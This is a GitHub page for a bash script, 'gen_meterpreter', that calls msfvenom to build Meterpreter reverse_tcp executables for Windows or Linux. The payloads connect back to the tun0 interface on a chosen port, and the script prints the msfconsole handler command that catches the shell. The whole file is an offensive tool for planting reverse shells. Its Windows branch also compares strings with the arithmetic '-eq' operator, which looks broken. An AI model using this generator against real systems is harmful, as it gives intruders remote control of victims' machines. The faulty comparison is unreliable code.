-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathgen_meterpreter
More file actions
executable file
·72 lines (61 loc) · 1.25 KB
/
gen_meterpreter
File metadata and controls
executable file
·72 lines (61 loc) · 1.25 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/bin/bash
PORT=$(shuf -i 4000-5000 -n1)
OUTPUT="mp"
usage() {
echo "$0 <l[inux]|win[dows]> [-a x64|x86]"
exit 1
}
platform=$1; shift
arch="x64"
while getopts "ha:p:o:" o; do
case "${o}" in
a)
arch=${OPTARG}
;;
p)
PORT=${OPTARG}
;;
o)
OUTPUT=${OPTARG}
;;
h | *)
usage
;;
esac
done
shift $((OPTIND-1))
if [ -z "${platform}" ] || [ -z "${arch}" ]; then
usage
fi
generate() {
platform=$1
arch=$2
payload_kind=$3
format=$4
payload="$platform$payload_kind"
echo "Generating $platform $arch meterpreter executable for port $PORT."
echo "Output: $OUTPUT"
msfvenom -a $arch --platform $platform -p "$payload" LHOST=tun0 LPORT=$PORT -f $format -o $OUTPUT
echo "msfconsole -x 'use exploit/multi/handler;set payload $payload;set LHOST tun0;set LPORT $PORT;exploit'"
}
generate_windows() {
if [[ $arch -eq 'x86' ]];then
generate "windows" $arch "/meterpreter/reverse_tcp" "exe"
else
generate "windows" $arch "/$arch/meterpreter/reverse_tcp" "exe"
fi
}
generate_linux() {
generate "linux" $arch "/$arch/meterpreter/reverse_tcp" "elf"
}
case "$platform" in
win | windows)
generate_windows
;;
l | linux)
generate_linux
;;
*)
usage
;;
esac